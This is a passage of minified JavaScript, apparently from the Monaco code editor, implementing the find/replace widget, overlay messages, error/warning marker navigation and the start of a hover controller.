t=this._state.searchString.length>0&&0===this._state.matchesCount;s.toggleClass(this._domNode,\"no-results\",t),this._updateMatchesCount()}(e.searchString||e.currentMatch)&&this._layoutViewZone()},t.prototype._updateMatchesCount=function(){this._matchesCount.style.minWidth=O+\"px\",this._state.matchesCount>=h.MATCHES_LIMIT?this._matchesCount.title=T:this._matchesCount.title=\"\",this._matchesCount.firstChild&&this._matchesCount.removeChild(this._matchesCount.firstChild);var e;if(this._state.matchesCount>0){var t=String(this._state.matchesCount);this._state.matchesCount>=h.MATCHES_LIMIT&&(t+=\"+\");var n=String(this._state.matchesPosition);\"0\"===n&&(n=\"?\"),e=r.format(k,n,t)}else e=I;this._matchesCount.appendChild(document.createTextNode(e)),O=Math.max(O,this._matchesCount.clientWidth)},t.prototype._updateToggleSelectionFindButton=function(){var e=this._codeEditor.getSelection(),t=!!e&&(e.startLineNumber!==e.endLineNumber||e.startColumn!==e.endColumn),n=this._toggleSelectionFind.checked;this._toggleSelectionFind.setEnabled(this._isVisible&&(n||t))},t.prototype._updateButtons=function(){this._findInput.setEnabled(this._isVisible),this._replaceInputBox.setEnabled(this._isVisible&&this._isReplaceVisible),this._updateToggleSelectionFindButton(),this._closeBtn.setEnabled(this._isVisible);var e=this._state.searchString.length>0;this._prevBtn.setEnabled(this._isVisible&&e),this._nextBtn.setEnabled(this._isVisible&&e),this._replaceBtn.setEnabled(this._isVisible&&this._isReplaceVisible&&e),this._replaceAllBtn.setEnabled(this._isVisible&&this._isReplaceVisible&&e),s.toggleClass(this._domNode,\"replaceToggled\",this._isReplaceVisible),this._toggleReplaceBtn.toggleClass(\"collapse\",!this._isReplaceVisible),this._toggleReplaceBtn.toggleClass(\"expand\",this._isReplaceVisible),this._toggleReplaceBtn.setExpanded(this._isReplaceVisible);var t=!this._codeEditor.getConfiguration().readOnly;this._toggleReplaceBtn.setEnabled(this._isVisible&&t)},t.prototype._reveal=function(e){var t=this;if(!this._isVisible){this._isVisible=!0;var n=this._codeEditor.getSelection();!!n&&(n.startLineNumber!==n.endLineNumber||n.startColumn!==n.endColumn)&&this._codeEditor.getConfiguration().contribInfo.find.autoFindInSelection?this._toggleSelectionFind.checked=!0:this._toggleSelectionFind.checked=!1,this._updateButtons(),setTimeout(function(){s.addClass(t._domNode,\"visible\"),t._domNode.setAttribute(\"aria-hidden\",\"false\"),e||(s.addClass(t._domNode,\"noanimation\"),setTimeout(function(){s.removeClass(t._domNode,\"noanimation\")},200))},0),this._codeEditor.layoutOverlayWidget(this);var i=!0;if(this._codeEditor.getConfiguration().contribInfo.find.seedSearchStringFromSelection&&n){var o=s.getDomNodePagePosition(this._codeEditor.getDomNode()),r=this._codeEditor.getScrolledVisiblePosition(n.getStartPosition()),a=o.left+r.left;if(r.top<this._viewZone.heightInPx){n.endLineNumber>n.startLineNumber&&(i=!1);var u=s.getTopLeftOffset(this._domNode).left;a>u&&(i=!1);var l=this._codeEditor.getScrolledVisiblePosition(n.getEndPosition());o.left+l.left>u&&(i=!1)}}this._showViewZone(i)}},t.prototype._hide=function(e){var t=this;this._isVisible&&(this._isVisible=!1,this._updateButtons(),s.removeClass(this._domNode,\"visible\"),this._domNode.setAttribute(\"aria-hidden\",\"true\"),e&&this._codeEditor.focus(),this._codeEditor.layoutOverlayWidget(this),this._codeEditor.changeViewZones(function(e){void 0!==t._viewZoneId&&(e.removeZone(t._viewZoneId),t._viewZoneId=void 0,t._codeEditor.setScrollTop(t._codeEditor.getScrollTop()-t._viewZone.heightInPx))}))},t.prototype._layoutViewZone=function(){var e=this;this._isVisible&&void 0===this._viewZoneId&&this._codeEditor.changeViewZones(function(t){e._state.isReplaceRevealed?e._viewZone.heightInPx=64:e._viewZone.heightInPx=P,e._viewZoneId=t.addZone(e._viewZone),e._codeEditor.setScrollTop(e._codeEditor.getScrollTop()+e._viewZone.heightInPx)})},t.prototype._showViewZone=function(e){var t=this;void 0===e&&(e=!0),this._isVisible&&this._codeEditor.changeViewZones(function(n){var i=P;void 0!==t._viewZoneId?(t._state.isReplaceRevealed?(t._viewZone.heightInPx=64,i=64-P):(t._viewZone.heightInPx=P,i=P-64),n.removeZone(t._viewZoneId)):t._viewZone.heightInPx=P,t._viewZoneId=n.addZone(t._viewZone),e&&t._codeEditor.setScrollTop(t._codeEditor.getScrollTop()+i)})},t.prototype._applyTheme=function(e){var t={inputActiveOptionBorder:e.getColor(v.inputActiveOptionBorder),inputBackground:e.getColor(v.inputBackground),inputForeground:e.getColor(v.inputForeground),inputBorder:e.getColor(v.inputBorder),inputValidationInfoBackground:e.getColor(v.inputValidationInfoBackground),inputValidationInfoBorder:e.getColor(v.inputValidationInfoBorder),inputValidationWarningBackground:e.getColor(v.inputValidationWarningBackground),inputValidationWarningBorder:e.getColor(v.inputValidationWarningBorder),inputValidationErrorBackground:e.getColor(v.inputValidationErrorBackground),inputValidationErrorBorder:e.getColor(v.inputValidationErrorBorder)};this._findInput.style(t),this._replaceInputBox.style(t)},t.prototype.focusFindInput=function(){this._findInput.select(),this._findInput.focus()},t.prototype.focusReplaceInput=function(){this._replaceInputBox.select(),this._replaceInputBox.focus()},t.prototype.highlightFindOptions=function(){this._findInput.highlightFindOptions()},t.prototype._onFindInputMouseDown=function(e){e.middleButton&&e.stopPropagation()},t.prototype._onFindInputKeyDown=function(e){return e.equals(3)?(this._codeEditor.getAction(h.FIND_IDS.NextMatchFindAction).run().done(null,i.onUnexpectedError),void e.preventDefault()):e.equals(1027)?(this._codeEditor.getAction(h.FIND_IDS.PreviousMatchFindAction).run().done(null,i.onUnexpectedError),void e.preventDefault()):e.equals(2)?(this._isReplaceVisible?this._replaceInputBox.focus():this._findInput.focusOnCaseSensitive(),void e.preventDefault()):e.equals(2066)?(this._codeEditor.focus(),void e.preventDefault()):void 0},t.prototype._onReplaceInputKeyDown=function(e){return e.equals(3)?(this._controller.replace(),void e.preventDefault()):e.equals(2051)?(this._controller.replaceAll(),void e.preventDefault()):e.equals(2)?(this._findInput.focusOnCaseSensitive(),void e.preventDefault()):e.equals(1026)?(this._findInput.focus(),void e.preventDefault()):e.equals(2066)?(this._codeEditor.focus(),void e.preventDefault()):void 0},t.prototype.getHorizontalSashTop=function(e){return 0},t.prototype.getHorizontalSashLeft=function(e){return 0},t.prototype.getHorizontalSashWidth=function(e){return 500},t.prototype._keybindingLabelFor=function(e){var t=this._keybindingService.lookupKeybinding(e);return t?\" (\"+t.getLabel()+\")\":\"\"},t.prototype._buildFindPart=function(){var e=this;this._findInput=this._register(new a.FindInput(null,this._contextViewProvider,{width:221,label:_,placeholder:y,appendCaseSensitiveLabel:this._keybindingLabelFor(h.FIND_IDS.ToggleCaseSensitiveCommand),appendWholeWordsLabel:this._keybindingLabelFor(h.FIND_IDS.ToggleWholeWordCommand),appendRegexLabel:this._keybindingLabelFor(h.FIND_IDS.ToggleRegexCommand),validation:function(t){if(0===t.length)return null;if(!e._findInput.getRegex())return null;try{return new RegExp(t),null}catch(e){return{content:e.message}}}})),this._findInput.setRegex(!!this._state.isRegex),this._findInput.setCaseSensitive(!!this._state.matchCase),this._findInput.setWholeWords(!!this._state.wholeWord),this._register(this._findInput.onKeyDown(function(t){return e._onFindInputKeyDown(t)})),this._register(this._findInput.onInput(function(){e._state.change({searchString:e._findInput.getValue()},!0)})),this._register(this._findInput.onDidOptionChange(function(){e._state.change({isRegex:e._findInput.getRegex(),wholeWord:e._findInput.getWholeWords(),matchCase:e._findInput.getCaseSensitive()},!0)})),this._register(this._findInput.onCaseSensitiveKeyDown(function(t){t.equals(1026)&&e._isReplaceVisible&&(e._replaceInputBox.focus(),t.preventDefault())})),o.isLinux&&this._register(this._findInput.onMouseDown(function(t){return e._onFindInputMouseDown(t)})),this._matchesCount=document.createElement(\"div\"),this._matchesCount.className=\"matchesCount\",this._updateMatchesCount(),this._prevBtn=this._register(new B({label:C+this._keybindingLabelFor(h.FIND_IDS.PreviousMatchFindAction),className:\"previous\",onTrigger:function(){e._codeEditor.getAction(h.FIND_IDS.PreviousMatchFindAction).run().done(null,i.onUnexpectedError)},onKeyDown:function(e){}})),this._nextBtn=this._register(new B({label:b+this._keybindingLabelFor(h.FIND_IDS.NextMatchFindAction),className:\"next\",onTrigger:function(){e._codeEditor.getAction(h.FIND_IDS.NextMatchFindAction).run().done(null,i.onUnexpectedError)},onKeyDown:function(e){}}));var t=document.createElement(\"div\");return t.className=\"find-part\",t.appendChild(this._findInput.domNode),t.appendChild(this._matchesCount),t.appendChild(this._prevBtn.domNode),t.appendChild(this._nextBtn.domNode),this._toggleSelectionFind=this._register(new W({parent:t,title:w+this._keybindingLabelFor(h.FIND_IDS.ToggleSearchScopeCommand),onChange:function(){if(e._toggleSelectionFind.checked){var t=e._codeEditor.getSelection();1===t.endColumn&&t.endLineNumber>t.startLineNumber&&(t=t.setEndPosition(t.endLineNumber-1,1)),t.isEmpty()||e._state.change({searchScope:t},!0)}else e._state.change({searchScope:null},!0)}})),this._closeBtn=this._register(new B({label:S+this._keybindingLabelFor(h.FIND_IDS.CloseFindWidgetCommand),className:\"close-fw\",onTrigger:function(){e._state.change({isRevealed:!1,searchScope:null},!1)},onKeyDown:function(t){t.equals(2)&&e._isReplaceVisible&&(e._replaceBtn.isEnabled()?e._replaceBtn.focus():e._codeEditor.focus(),t.preventDefault())}})),t.appendChild(this._closeBtn.domNode),t},t.prototype._buildReplacePart=function(){var e=this,t=document.createElement(\"div\");t.className=\"replace-input\",t.style.width=\"221px\",this._replaceInputBox=this._register(new u.InputBox(t,null,{ariaLabel:E,placeholder:L})),this._register(s.addStandardDisposableListener(this._replaceInputBox.inputElement,\"keydown\",function(t){return e._onReplaceInputKeyDown(t)})),this._register(s.addStandardDisposableListener(this._replaceInputBox.inputElement,\"input\",function(t){e._state.change({replaceString:e._replaceInputBox.value},!1)})),this._replaceBtn=this._register(new B({label:x+this._keybindingLabelFor(h.FIND_IDS.ReplaceOneAction),className:\"replace\",onTrigger:function(){e._controller.replace()},onKeyDown:function(t){t.equals(1026)&&(e._closeBtn.focus(),t.preventDefault())}})),this._replaceAllBtn=this._register(new B({label:N+this._keybindingLabelFor(h.FIND_IDS.ReplaceAllAction),className:\"replace-all\",onTrigger:function(){e._controller.replaceAll()},onKeyDown:function(e){}}));var n=document.createElement(\"div\");return n.className=\"replace-part\",n.appendChild(t),n.appendChild(this._replaceBtn.domNode),n.appendChild(this._replaceAllBtn.domNode),n},t.prototype._buildDomNode=function(){var e=this,t=this._buildFindPart(),n=this._buildReplacePart();this._toggleReplaceBtn=this._register(new B({label:M,className:\"toggle left\",onTrigger:function(){e._state.change({isReplaceRevealed:!e._isReplaceVisible},!1),e._isReplaceVisible&&(e._replaceInputBox.width=e._findInput.inputBox.width),e._showViewZone()},onKeyDown:function(e){}})),this._toggleReplaceBtn.toggleClass(\"expand\",this._isReplaceVisible),this._toggleReplaceBtn.toggleClass(\"collapse\",!this._isReplaceVisible),this._toggleReplaceBtn.setExpanded(this._isReplaceVisible),this._domNode=document.createElement(\"div\"),this._domNode.className=\"editor-widget find-widget\",this._domNode.setAttribute(\"aria-hidden\",\"true\"),this._domNode.style.width=D+\"px\",this._domNode.appendChild(this._toggleReplaceBtn.domNode),this._domNode.appendChild(t),this._domNode.appendChild(n),this._buildSash()},t.prototype._buildSash=function(){var e=this;this._resizeSash=new c.Sash(this._domNode,this,{orientation:c.Orientation.VERTICAL});var t=D;this._register(this._resizeSash.addListener(\"start\",function(n){t=s.getTotalWidth(e._domNode)})),this._register(this._resizeSash.addListener(\"change\",function(n){var i=t+n.startX-n.currentX;if(!(i<D)){var o=i-R;i>(parseFloat(s.getComputedStyle(e._domNode).maxWidth)||0)||(e._domNode.style.width=i+\"px\",e._isReplaceVisible&&(e._replaceInputBox.width=o))}}))},t.ID=\"editor.contrib.findWidget\",t}(l.Widget);t.FindWidget=F;var W=function(e){function t(n){var i=e.call(this)||this;return i._opts=n,i._domNode=document.createElement(\"div\"),i._domNode.className=\"monaco-checkbox\",i._domNode.title=i._opts.title,i._domNode.tabIndex=0,i._checkbox=document.createElement(\"input\"),i._checkbox.type=\"checkbox\",i._checkbox.className=\"checkbox\",i._checkbox.id=\"checkbox-\"+t._COUNTER++,i._checkbox.tabIndex=-1,i._label=document.createElement(\"label\"),i._label.className=\"label\",i._label.htmlFor=i._checkbox.id,i._label.tabIndex=-1,i._domNode.appendChild(i._checkbox),i._domNode.appendChild(i._label),i._opts.parent.appendChild(i._domNode),i.onchange(i._checkbox,function(e){i._opts.onChange()}),i}return f(t,e),Object.defineProperty(t.prototype,\"domNode\",{get:function(){return this._domNode},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\"checked\",{get:function(){return this._checkbox.checked},set:function(e){this._checkbox.checked=e},enumerable:!0,configurable:!0}),t.prototype.focus=function(){this._checkbox.focus()},t.prototype.enable=function(){this._checkbox.removeAttribute(\"disabled\")},t.prototype.disable=function(){this._checkbox.disabled=!0},t.prototype.setEnabled=function(e){e?(this.enable(),this.domNode.tabIndex=0):(this.disable(),this.domNode.tabIndex=-1)},t._COUNTER=0,t}(l.Widget),B=function(e){function t(t){var n=e.call(this)||this;return n._opts=t,n._domNode=document.createElement(\"div\"),n._domNode.title=n._opts.label,n._domNode.tabIndex=0,n._domNode.className=\"button \"+n._opts.className,n._domNode.setAttribute(\"role\",\"button\"),n._domNode.setAttribute(\"aria-label\",n._opts.label),n.onclick(n._domNode,function(e){n._opts.onTrigger(),e.preventDefault()}),n.onkeydown(n._domNode,function(e){if(e.equals(10)||e.equals(3))return n._opts.onTrigger(),void e.preventDefault();n._opts.onKeyDown(e)}),n}return f(t,e),Object.defineProperty(t.prototype,\"domNode\",{get:function(){return this._domNode},enumerable:!0,configurable:!0}),t.prototype.isEnabled=function(){return this._domNode.tabIndex>=0},t.prototype.focus=function(){this._domNode.focus()},t.prototype.setEnabled=function(e){s.toggleClass(this._domNode,\"disabled\",!e),this._domNode.setAttribute(\"aria-disabled\",String(!e)),this._domNode.tabIndex=e?0:-1},t.prototype.setExpanded=function(e){this._domNode.setAttribute(\"aria-expanded\",String(!!e))},t.prototype.toggleClass=function(e,t){s.toggleClass(this._domNode,e,t)},t}(l.Widget);t.SimpleButton=B,m.registerThemingParticipant(function(e,t){function n(e,n){n&&t.addRule(\".monaco-editor \"+e+\" { background-color: \"+n+\"; }\")}n(\".findMatch\",e.getColor(v.editorFindMatchHighlight)),n(\".currentFindMatch\",e.getColor(v.editorFindMatch)),n(\".findScope\",e.getColor(v.editorFindRangeHighlight)),n(\".find-widget\",e.getColor(v.editorWidgetBackground));var i=e.getColor(v.widgetShadow);i&&t.addRule(\".monaco-editor .find-widget { box-shadow: 0 2px 8px \"+i+\"; }\");var o=e.getColor(v.activeContrastBorder);o&&(t.addRule(\".monaco-editor .findScope { border: 1px dashed \"+o.transparent(.4)+\"; }\"),t.addRule(\".monaco-editor .currentFindMatch { border: 2px solid \"+o+\"; padding: 1px; -moz-box-sizing: border-box; box-sizing: border-box; }\"),t.addRule(\".monaco-editor .findMatch { border: 1px dotted \"+o+\"; -moz-box-sizing: border-box; box-sizing: border-box; }\"));var r=e.getColor(v.contrastBorder);r&&t.addRule(\".monaco-editor .find-widget { border: 2px solid \"+r+\"; }\");var s=e.getColor(v.errorForeground);s&&t.addRule(\".monaco-editor .find-widget.no-results .matchesCount { color: \"+s+\"; }\");var a=e.getColor(\"panel.border\");a&&t.addRule(\".monaco-editor .find-widget .monaco-sash { background-color: \"+a+\"; width: 3px !important; margin-left: -4px;}\")})}),define(d[520],h([1,0,69,46,19,30,519,518,176,14,76]),function(e,t,n,i,o,r,s,a,u,l,c){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var d=function(e){function t(t,n,i,o,r,u){var l=e.call(this,t,i,u)||this;return l._widget=l._register(new s.FindWidget(t,l,l._state,n,o,i,r)),l._findOptionsWidget=l._register(new a.FindOptionsWidget(t,l._state,o,r)),l}return f(t,e),t.prototype._start=function(t){e.prototype._start.call(this,t),2===t.shouldFocus?this._widget.focusReplaceInput():1===t.shouldFocus&&this._widget.focusFindInput()},t.prototype.highlightFindOptions=function(){this._state.isRevealed?this._widget.highlightFindOptions():this._findOptionsWidget.highlightFindOptions()},t=v([r.editorContribution,y(1,n.IContextViewService),y(2,o.IContextKeyService),y(3,i.IKeybindingService),y(4,l.IThemeService),y(5,c.IStorageService)],t)}(u.CommonFindController);t.FindController=d}),define(d[521],h([1,0,18,3,51,2,13,25,19,14,23,335]),function(e,t,n,i,o,r,s,a,u,l,c){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var d=function(){function e(e,n){this._messageListeners=[],this._editor=e,this._visible=t.CONTEXT_SNIPPET_MODE.bindTo(n)}return t=e,e.get=function(e){return e.getContribution(t._id)},e.prototype.getId=function(){return t._id},e.prototype.dispose=function(){this._visible.reset()},e.prototype.showMessage=function(e,t){var s=this;o.alert(e),this._visible.set(!0),i.dispose(this._messageWidget),this._messageListeners=i.dispose(this._messageListeners),this._messageWidget=new p(this._editor,t,e),this._messageListeners.push(this._editor.onDidBlurEditorText(function(){return s.closeMessage()})),this._messageListeners.push(this._editor.onDidChangeCursorPosition(function(){return s.closeMessage()})),this._messageListeners.push(this._editor.onDidDispose(function(){return s.closeMessage()})),this._messageListeners.push(this._editor.onDidChangeModel(function(){return s.closeMessage()})),this._messageListeners.push(n.setDisposableTimeout(function(){return s.closeMessage()},3e3));var a;this._messageListeners.push(this._editor.onMouseMove(function(e){e.target.position&&(a?a.containsPosition(e.target.position)||s.closeMessage():a=new r.Range(t.lineNumber-3,1,e.target.position.lineNumber+3,1))}))},e.prototype.closeMessage=function(){this._visible.reset(),this._messageListeners=i.dispose(this._messageListeners),this._messageListeners.push(p.fadeOut(this._messageWidget))},e._id=\"editor.contrib.messageController\",e.CONTEXT_SNIPPET_MODE=new u.RawContextKey(\"messageVisible\",!1),e=t=v([s.commonEditorContribution,y(1,u.IContextKeyService)],e);var t}();t.MessageController=d;var h=s.EditorCommand.bindToContribution(d.get);s.CommonEditorRegistry.registerEditorCommand(new h({id:\"leaveEditorMessage\",precondition:d.CONTEXT_SNIPPET_MODE,handler:function(e){return e.closeMessage()},kbOpts:{weight:s.CommonEditorRegistry.commandWeight(30),primary:9}}));var p=function(){function e(e,t,n){var i=t.lineNumber,o=t.column;this.allowEditorOverflow=!0,this.suppressMouseDown=!1,this._editor=e,this._editor.revealLinesInCenterIfOutsideViewport(i,i),this._position={lineNumber:i,column:1},this._domNode=document.createElement(\"div\"),this._domNode.style.paddingLeft=e.getOffsetForColumn(i,o)-6+\"px\",this._domNode.classList.add(\"monaco-editor-overlaymessage\");var r=document.createElement(\"div\");r.classList.add(\"message\"),r.textContent=n,this._domNode.appendChild(r);var s=document.createElement(\"div\");s.classList.add(\"anchor\"),this._domNode.appendChild(s),this._editor.addContentWidget(this),this._domNode.classList.add(\"fadeIn\")}return e.fadeOut=function(e){var t,n=function(){e.dispose(),clearTimeout(t),e.getDomNode().removeEventListener(\"animationend\",n)};return t=setTimeout(n,110),e.getDomNode().addEventListener(\"animationend\",n),e.getDomNode().classList.add(\"fadeOut\"),{dispose:n}},e.prototype.dispose=function(){this._editor.removeContentWidget(this)},e.prototype.getId=function(){return\"messageoverlay\"},e.prototype.getDomNode=function(){return this._domNode},e.prototype.getPosition=function(){return{position:this._position,preference:[a.ContentWidgetPositionPreference.ABOVE]}},e}();l.registerThemingParticipant(function(e,t){var n=e.getColor(c.inputValidationInfoBorder);if(n){var i=e.type===l.HIGH_CONTRAST?2:1;t.addRule(\".monaco-editor .monaco-editor-overlaymessage .anchor { border-top-color: \"+n+\"; }\"),t.addRule(\".monaco-editor .monaco-editor-overlaymessage .message { border: \"+i+\"px solid \"+n+\"; }\")}var o=e.getColor(c.inputValidationInfoBackground);o&&t.addRule(\".monaco-editor .monaco-editor-overlaymessage .message { background-color: \"+o+\"; }\")})}),define(d[522],h([1,0,353,11,3,36,4,19,103,58,12,2,13,30,183,23,14,32,21,37,366]),function(e,t,n,i,o,r,s,a,u,l,c,d,h,p,g,m,C,b,w,S){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var E=function(){function e(e,t){var n=this;this._editor=e,this._markers=null,this._nextIdx=-1,this._toUnbind=[],this._ignoreSelectionChange=!1,this._onCurrentMarkerChanged=new i.Emitter,this._onMarkerSetChanged=new i.Emitter,this.setMarkers(t),this._toUnbind.push(this._editor.onDidDispose(function(){return n.dispose()})),this._toUnbind.push(this._editor.onDidChangeCursorPosition(function(){n._ignoreSelectionChange||(n._nextIdx=-1)}))}return Object.defineProperty(e.prototype,\"onCurrentMarkerChanged\",{get:function(){return this._onCurrentMarkerChanged.event},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"onMarkerSetChanged\",{get:function(){return this._onMarkerSetChanged.event},enumerable:!0,configurable:!0}),e.prototype.setMarkers=function(e){this._markers=e||[],this._markers.sort(function(e,t){return r.default.compare(e.severity,t.severity)||d.Range.compareRangesUsingStarts(e,t)}),this._nextIdx=-1,this._onMarkerSetChanged.fire(this)},e.prototype.withoutWatchingEditorPosition=function(e){this._ignoreSelectionChange=!0;try{e()}finally{this._ignoreSelectionChange=!1}},e.prototype._initIdx=function(e){for(var t=!1,n=this._editor.getPosition(),i=0;i<this._markers.length;i++){var o=d.Range.lift(this._markers[i]);if(o.isEmpty()){var r=this._editor.getModel().getWordAtPosition(o.getStartPosition());r&&(o=new d.Range(o.startLineNumber,r.startColumn,o.startLineNumber,r.endColumn))}if(o.containsPosition(n)||n.isBeforeOrEqual(o.getStartPosition())){this._nextIdx=i+(e?0:-1),t=!0;break}}t||(this._nextIdx=e?0:this._markers.length-1),this._nextIdx<0&&(this._nextIdx=this._markers.length-1)},e.prototype.move=function(e){if(this.canNavigate()){-1===this._nextIdx?this._initIdx(e):e?(this._nextIdx+=1,this._nextIdx>=this._markers.length&&(this._nextIdx=0)):(this._nextIdx-=1,this._nextIdx<0&&(this._nextIdx=this._markers.length-1));var t=this._markers[this._nextIdx];this._onCurrentMarkerChanged.fire(t)}else this._onCurrentMarkerChanged.fire(void 0)},e.prototype.canNavigate=function(){return this._markers.length>0},e.prototype.next=function(){this.move(!0)},e.prototype.previous=function(){this.move(!1)},e.prototype.findMarkerAtPosition=function(e){for(var t=0,n=this._markers;t<n.length;t++){var i=n[t];if(d.Range.containsPosition(i,e))return i}},Object.defineProperty(e.prototype,\"total\",{get:function(){return this._markers.length},enumerable:!0,configurable:!0}),e.prototype.indexOf=function(e){return 1+this._markers.indexOf(e)},e.prototype.reveal=function(){var e=this;-1!==this._nextIdx&&this.withoutWatchingEditorPosition(function(){var t=new c.Position(e._markers[e._nextIdx].startLineNumber,e._markers[e._nextIdx].startColumn);e._editor.setPosition(t),e._editor.revealPositionInCenter(t)})},e.prototype.dispose=function(){this._toUnbind=o.dispose(this._toUnbind)},e}(),L=function(){function e(e){this.lines=0,this.domNode=document.createElement(\"div\"),this.domNode.className=\"block descriptioncontainer\",this.domNode.setAttribute(\"aria-live\",\"assertive\"),this.domNode.setAttribute(\"role\",\"alert\"),e.appendChild(this.domNode)}return e.prototype.update=function(e){var t=this,n=e.source,i=e.message;if(this.lines=1,n){var o=new Array(n.length+3+1).join(\" \");i=\"[\"+n+\"] \"+i.replace(/\\r\\n|\\r|\\n/g,function(){return t.lines+=1,\"\\n\"+o})}this.domNode.innerText=i},e}(),x=function(e){function i(t,n,i){var o=e.call(this,t,{showArrow:!0,showFrame:!0,isAccessible:!0})||this;return o._model=n,o._themeService=i,o._callOnDispose=[],o._severity=r.default.Warning,o._backgroundColor=b.Color.white,o._applyTheme(i.getTheme()),o._callOnDispose.push(i.onThemeChange(o._applyTheme.bind(o))),o.create(),o._wireModelAndView(),o}return f(i,e),i.prototype._applyTheme=function(e){this._backgroundColor=e.getColor(t.editorMarkerNavigationBackground);var n=e.getColor(this._severity===r.default.Error?t.editorMarkerNavigationError:t.editorMarkerNavigationWarning);this.style({arrowColor:n,frameColor:n})},i.prototype._applyStyles=function(){this._parentContainer&&(this._parentContainer.style.backgroundColor=this._backgroundColor.toString()),e.prototype._applyStyles.call(this)},i.prototype.dispose=function(){this._callOnDispose=o.dispose(this._callOnDispose),e.prototype.dispose.call(this)},i.prototype.focus=function(){this._parentContainer.focus()},i.prototype._fillContainer=function(e){this._parentContainer=e,s.addClass(e,\"marker-widget\"),this._parentContainer.tabIndex=0,this._parentContainer.setAttribute(\"role\",\"tooltip\"),this._container=document.createElement(\"div\"),e.appendChild(this._container),this._title=document.createElement(\"div\"),this._title.className=\"block title\",this._container.appendChild(this._title),this._message=new L(this._container),this.editor.applyFontInfo(this._message.domNode)},i.prototype.show=function(t,n){e.prototype.show.call(this,t,n),1!==this.editor.getConfiguration().accessibilitySupport&&this.focus()},i.prototype._wireModelAndView=function(){this._model.onCurrentMarkerChanged(this.showAtMarker,this,this._callOnDispose),this._model.onMarkerSetChanged(this._onMarkersChanged,this,this._callOnDispose)},i.prototype.showAtMarker=function(e){var t=this;e&&(this._container.classList.remove(\"stale\"),this._title.innerHTML=n.localize(0,null,this._model.indexOf(e),this._model.total),this._message.update(e),this._model.withoutWatchingEditorPosition(function(){t._severity=e.severity,t._applyTheme(t._themeService.getTheme()),t.show(new c.Position(e.startLineNumber,e.startColumn),t.computeRequiredHeight())}))},i.prototype._onMarkersChanged=function(){var e=this._model.findMarkerAtPosition(this.position);e?(this._container.classList.remove(\"stale\"),this._message.update(e)):this._container.classList.add(\"stale\"),this._relayout()},i.prototype._relayout=function(){e.prototype._relayout.call(this,this.computeRequiredHeight())},i.prototype.computeRequiredHeight=function(){return 1+this._message.lines},i}(g.ZoneWidget),N=function(e){function t(t,n){var i=e.call(this,n)||this;return i._isNext=t,i}return f(t,e),t.prototype.run=function(e,t){var n=e.get(l.ITelemetryService),i=M.get(t);if(i){var o=i.getOrCreateModel();n.publicLog(\"zoneWidgetShown\",_({mode:\"go to error\"},t.getTelemetryData())),o&&(this._isNext?o.next():o.previous(),o.reveal())}},t}(h.EditorAction),M=function(){function e(e,t,n,i){this._markerService=t,this._contextKeyService=n,this._themeService=i,this._callOnClose=[],this._editor=e,this._markersNavigationVisible=T.bindTo(this._contextKeyService)}return t=e,e.get=function(e){return e.getContribution(t.ID)},e.prototype.getId=function(){return t.ID},e.prototype.dispose=function(){this._cleanUp()},e.prototype._cleanUp=function(){this._markersNavigationVisible.reset(),this._callOnClose=o.dispose(this._callOnClose),this._zone=null,this._model=null},e.prototype.getOrCreateModel=function(){var e=this;if(this._model)return this._model;var t=this._getMarkers();return this._model=new E(this._editor,t),this._zone=new x(this._editor,this._model,this._themeService),this._markersNavigationVisible.set(!0),this._callOnClose.push(this._model),this._callOnClose.push(this._zone),this._callOnClose.push(this._editor.onDidChangeModel(function(){return e._cleanUp()})),this._model.onCurrentMarkerChanged(function(t){return!t&&e._cleanUp()},void 0,this._callOnClose),this._markerService.onMarkerChanged(this._onMarkerChanged,this,this._callOnClose),this._model},e.prototype.closeMarkersNavigation=function(){this._cleanUp(),this._editor.focus()},e.prototype._onMarkerChanged=function(e){var t=this;e.some(function(e){return t._editor.getModel().uri.toString()===e.toString()})&&this._model.setMarkers(this._getMarkers())},e.prototype._getMarkers=function(){return this._markerService.read({resource:this._editor.getModel().uri})},e.ID=\"editor.contrib.markerController\",e=t=v([p.editorContribution,y(1,u.IMarkerService),y(2,a.IContextKeyService),y(3,C.IThemeService)],e);var t}(),T=(function(e){function t(){return e.call(this,!0,{id:\"editor.action.marker.next\",label:n.localize(1,null),alias:\"Go to Next Error or Warning\",precondition:w.EditorContextKeys.writable,kbOpts:{kbExpr:w.EditorContextKeys.focus,primary:66}})||this}f(t,e),t=v([h.editorAction],t)}(N),function(e){function t(){return e.call(this,!1,{id:\"editor.action.marker.prev\",label:n.localize(2,null),alias:\"Go to Previous Error or Warning\",precondition:w.EditorContextKeys.writable,kbOpts:{kbExpr:w.EditorContextKeys.focus,primary:1090}})||this}f(t,e),t=v([h.editorAction],t)}(N),new a.RawContextKey(\"markersNavigationVisible\",!1)),k=h.EditorCommand.bindToContribution(M.get);h.CommonEditorRegistry.registerEditorCommand(new k({id:\"closeMarkersNavigation\",precondition:T,handler:function(e){return e.closeMarkersNavigation()},kbOpts:{weight:h.CommonEditorRegistry.commandWeight(50),kbExpr:w.EditorContextKeys.focus,primary:9,secondary:[1033]}}));var I=m.oneOf(S.editorErrorForeground,S.editorErrorBorder),D=m.oneOf(S.editorWarningForeground,S.editorWarningBorder);t.editorMarkerNavigationError=m.registerColor(\"editorMarkerNavigationError.background\",{dark:I,light:I,hc:I},n.localize(3,null)),t.editorMarkerNavigationWarning=m.registerColor(\"editorMarkerNavigationWarning.background\",{dark:D,light:D,hc:D},n.localize(4,null)),t.editorMarkerNavigationBackground=m.registerColor(\"editorMarkerNavigation.background\",{dark:\"#2D2D30\",light:b.Color.white,hc:\"#0C141F\"},n.localize(5,null))}),define(d[523],h([1,0,354,40,15,71,88,2,13,25,30,463,425,3,14,23,21,388]),function(e,t,n,i,o,r,s,a,u,l,c,d,h,p,g,m,_){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var C=function(){function e(e,t,n){var i=this;this._editor=e,this._toUnhook=[],this._isMouseDown=!1,e.getConfiguration().contribInfo.hover&&(this._toUnhook.push(this._editor.onMouseDown(function(e){return i._onEditorMouseDown(e)})),this._toUnhook.push(this._editor.onMouseUp(function(e){return i._onEditorMouseUp(e)})),this._toUnhook.push(this._editor.onMouseMove(function(e){return i._onEditorMouseMove(e)})),this._toUnhook.push(this._editor.onMouseLeave(function(e){return i._hideWidgets()})),this._toUnhook.push(this._editor.onKeyDown(function(e){return 